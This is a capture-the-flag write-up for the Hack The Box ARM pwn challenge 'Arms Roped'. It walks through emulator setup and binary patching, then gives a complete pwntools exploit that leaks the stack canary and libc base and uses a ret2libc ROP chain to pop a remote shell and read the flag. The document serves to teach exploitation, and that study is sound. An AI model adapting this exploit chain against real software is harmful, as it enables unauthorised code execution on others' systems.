Arms Roped

1) Checked security

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ checksec arms_roped
[*] '/home/vigneswar/Pwn/Arms roped/pwn_arms_roped/arms_roped'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

2) Decompiled the code

Decompile: main - (arms_roped)

```
1
2  undefined4 main(void)
3
4  {
5    uint uVar1;
6    undefined4 uVar2;
7
8    uVar1 = __stack_chk_guard;
9    setvbuf(stdout,(char *)0x0,2,0);
10   setvbuf(stderr,(char *)0x0,2,0);
11   uVar2 = string_storer();
12   if ((uVar1 ^ __stack_chk_guard) != 0) {
13                     /* WARNING: Subroutine does not return */
14     __stack_chk_fail(uVar2,uVar1 ^ __stack_chk_guard,0);
15   }
16   return 0;
17 }
18
```

3) Notes:
i) The binary is in ARM architecture, we need a emulator to run it

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ sudo apt-get install libc6-armhf-cross
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libabsl20220623 libnsl-dev libpthread-stubs0-dev libtirpc-dev python3-zombie-imp
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  libc6-armhf-cross
0 upgraded, 1 newly installed, 0 to remove and 111 not upgraded.
Need to get 875 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 libc6-armhf-cross all 2.38-11cross1 [875 kB]
Fetched 875 kB in 2s (407 kB/s)
Selecting previously unselected package libc6-armhf-cross.
(Reading database ... 207343 files and directories currently installed.)
Preparing to unpack .../libc6-armhf-cross_2.38-11cross1_all.deb ...
Unpacking libc6-armhf-cross (2.38-11cross1) ...
Setting up libc6-armhf-cross (2.38-11cross1) ...
Scanning processes...
Scanning processor microcode...
Scanning linux images...

Failed to retrieve available kernel versions.

Failed to check for processor microcode upgrades.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ qemu-arm -L /usr/arm-linux-gnueabihf ./arms_roped
hi
hi
%p
%p
%d
%d
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@H        @
```

- `scanf`: This is a function in the C programming language that is used to read formatted input from the standard input stream (stdin). It reads data from stdin according to the specified format and stores them into the variables passed as arguments.
- `"%m[^\n]%n"`: This is the format string passed to `scanf` which specifies how the input should be interpreted. Here's what each part of the format string means:
  - `%m[^\n]`: This part specifies that `scanf` should read characters into a dynamically allocated buffer until it encounters a newline character (`\n`). The `m` modifier indicates that `scanf` should dynamically allocate memory for the string, and the `[^\n]` part specifies that any character except newline should be considered as part of the input string.
  - `%n`: This part of the format string tells `scanf` to store the number of characters read so far into the variable `n`. This allows you to determine the length of the string read by `scanf`.

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ python3 solve.py
arm
/usr/gnemul/qemu-arm
$

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ sudo ln -s /usr/arm-linux-gnueabihf/ /usr/gnemul/qemu-arm
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ sudo apt install gdb-multiarch
```

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ ls
arms_roped  build_docker.sh  Dockerfile  libc.so.6  libs  patch.diff  solve.py

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ patchelf --set-interpreter ./libs/ld-linux-armhf.so.3 --set-rpath ./libs ./arms_roped

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ ls libs
ld-2.31.so  ld-linux-armhf.so.3  ld-linux.so.3

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$
```

4) Debugging different architecture

i) install qemu as here https://docs.pwntools.com/en/stable/qemu.html
ii) link the locations as expected by pwntools
iii) install gdb-multiarchitecture

5) Vuln
i) We can leak canary, base_address using puts by overwriting null
ii) Then we can perform a ret2libc

6) Patching the binary

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ cp arms_roped arms_roped_patched

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ sudo ln -sf "/home/vigneswar/Pwn/Arms roped/pwn_arms_roped/libc.so.6" "$(pwd)/lib/libc.so.6"

┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ patchelf --set-interpreter lib/ld-2.31.so --set-rpath lib --debug arms_roped_patched
patching ELF file 'arms_roped_patched'
replacing section '.interp' with size 15
this is a dynamic library
last page is 0x20000
first page is 0x0
needed space is 108
rewriting section '.interp' from offset 0x154 (size 25) to offset 0x2000 (size 15)
rewriting section '.note.gnu.build-id' from offset 0x170 (size 36) to offset 0x2010 (size 36)
rewriting section '.note.ABI-tag' from offset 0x194 (size 32) to offset 0x2034 (size 32)
rewriting section '.gnu.hash' from offset 0x1b4 (size 24) to offset 0x2054 (size 24)
rewriting symbol table section 1
rewriting symbol table section 22
new rpath is 'lib'
rpath is too long or shared, resizing...
DT_NULL index is 26
replacing section '.dynamic' with size 256
replacing section '.dynstr' with size 267
this is a dynamic library
last page is 0x30000
first page is 0x0
needed space is 844
rewriting section '.dynsym' from offset 0x1cc (size 320) to offset 0x3000 (size 320)
rewriting section '.dynstr' from offset 0x30c (size 263) to offset 0x3140 (size 267)
rewriting section '.dynamic' from offset 0xf08 (size 248) to offset 0x324c (size 256)
rewriting symbol table section 19
rewriting symbol table section 26
writing arms_roped_patched
```

7) Exploit

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ ropper -f libc.so.6 --instructions 'pop {r0, r4, pc}' -a ARM

Instructions
============

0x0005bebc: pop {r0, r4, pc};

1 gadgets found
```

```python
#!/usr/bin/env python3

from pwn import *

context(os='linux', log_level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("./arms_roped_patched")
libc = ELF("./libc.so.6")
context.binary = exe
print(pwnlib.qemu.archname(arch='arm'))
print(pwnlib.qemu.ld_prefix(arch='arm'))
```

```python
# io = gdb.debug(exe.path, 'b* 0x4008b8')
io = remote('94.237.63.201', 58852)
io.sendlinethen(b'a'*33, b'a'*33)
canary = unpack(b'\x00'+io.recv(3), 'all')
io.sendlinethen(b'a'*72, b'a'*72)
libc.address = unpack(io.recv(4), 'all')-0x17525
system = libc.sym.system
shell = next(libc.search(b'/bin/sh\x00') )
pop_r0_ret = libc.address+0x5bebc
print(hex(canary), hex(system), hex(shell), hex(pop_r0_ret))
io.sendline(b'a'*32+p32(canary)+p32(0)+p32(0)+p32(0)+p32(pop_r0_ret)+p32(shell)
+p32(0)+p32(system))
io.sendline(b'quit')


io.interactive()
```

8) Flag

```
┌──(vigneswar㉿VigneswarPC)-[~/Pwn/Arms roped/pwn_arms_roped]
└─$ python3 solve.py
arm
/usr/gnemul/qemu-arm
0x6068a600 0x48e96511 0x48f43e0c 0x48ec2ebc

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ ls
arms_roped
flag.txt
qemu_arm
$ cat flag.txt
HTB{_r0pp1Ng_0n_4rM_1s_n0t_s0_34sy_L1K3_x86!!}
$
```